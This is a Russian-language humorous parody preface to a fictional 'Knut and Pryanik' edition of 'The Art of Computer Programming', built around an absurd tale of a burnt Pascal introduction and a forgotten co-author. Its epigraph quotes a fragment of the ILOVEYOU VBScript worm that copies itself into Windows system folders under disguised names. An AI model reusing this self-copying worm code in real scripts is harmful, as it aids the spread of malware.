Кнут и Пряник. The Art of Computer Programming.

"... Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set c = fso.GetFile(WScript.ScriptFullName)
c.Copy(dirsystem&"MSKernel32.vbs")
c.Copy(dirwin&"Win32DLL.vbs")
c.Copy(dirsystem&"LOVE-LETTER-FOR-YOU.TXT.vbs")
regruns()
html() ..."
Из одной полезной программы.

Предисловие переводчика.

Недавно, роясь в шкафах своей библиотеки, я обнаружил запыленный манускрипт весом около 10 килограммов, с полустертым названием, вытесненным золотыми староанглийскими буквами на черном кожаном переплете. Осторожно раскрыв книгу, стараясь не повредить тонкие пожелтевшие страницы, я обнаружил что данный реликт мировой литературы был издан в 1662 году, то есть буквально за считанные месяцы до смерти Блеза Паскаля, изобретателя одноименного языка программирования. Паскаль написал вступление к книге, щедро расхваливая авторов и отмечая удобную организацию книги, частое использование примеров программ с подробными пояснениями и инструкциями о компиляции для различных операционных систем и архитектур. Иногда, его вычурная французская речь, становилась малопонятной, и ключевые слова типа, program, begin и end начинали утомлять читателя, но в целом, вступление достигло своей цели, и книга чрезвычайно заинтересовала меня. К великому сожалению, в данном издании нет никакой возможности привести вступление г-на Паскаля, так как по случайной и не свойственной мне безалаберности, я однажды ночью оставил книгу на столе, вместо того чтобы запереть ее обратно в шкаф. Этим не приминул воспользоваться кот Собутыльник, который в поисках вяленой рыбы забрался на люстру, поскользнулся, и упав, задел хвостом банку со спиртом, заботливо припрятанную на книжной полке прямо над столом. Все книга была залита драгоценным продуктом, а подлый кот, рухнув на стол, самовозгорелся, и пламя мигом переметнулось на книгу. К счастью, мой чувствительный нос быстро учуял запах горелой кошачьй шерсти. Я проснулся и потушив кота, бросился спасать драгоценную книгу. Надо же такому случиться, что она была как раз открыта на одной из первых страниц, и я с ужасом обнаружил, что вступление Паскаля полностью выгорело. Что называется, сгорело до тла. К счастью, остальная часть книги осталась абсолютно невредимой - огонь только высушил спирт, который испарившись, не оставил никаких следов. Тем не менее, я был неутешен, и даже хотел наказать Собутыльника, но тот уже мирно спал, устав от переживаний и обид. Легкий синеватый дымок, откуда не возьмись, клубился над телом священного животного. Но вернемся к тому что уцелело после диверсии. Проведя небольшое исследование, я обнаружил, что фамилия второго автора - г-на Пряника, по абсолютно необъяснимым причинам, отсутствует в более поздних изданиях манускрипта. Более того, в предисловиях и вступлениях этих, более поздних, изданий нет не малейшего упоминания о г-не Прянике. Все выставлялось в таком виде, как будто Дональд Кнут написал книгу сам, без участия Гуффи Пряника! Абсурдность подобного утверждения поразила меня до больших пальцев ног, однако судя по-всему данная версия считается официальной на сегодняшний день, в чем читатель может самостоятельно убедиться зайдя, например, на www.amazon.com. Поэтому, я решил, в поисках справедливости на нашей планете, взяться за перевод манускрипта. Работа эта уже практически завершена - осталось несколько глав об различных способах оптимизации Java Virtual Machine и критический очерк г-на Пряника о недостатках Enterprise Java Beans.

Читайте вскоре: первую главу книги об общих закономерностях и особенностях характера и стиля жизни настоящего программиста.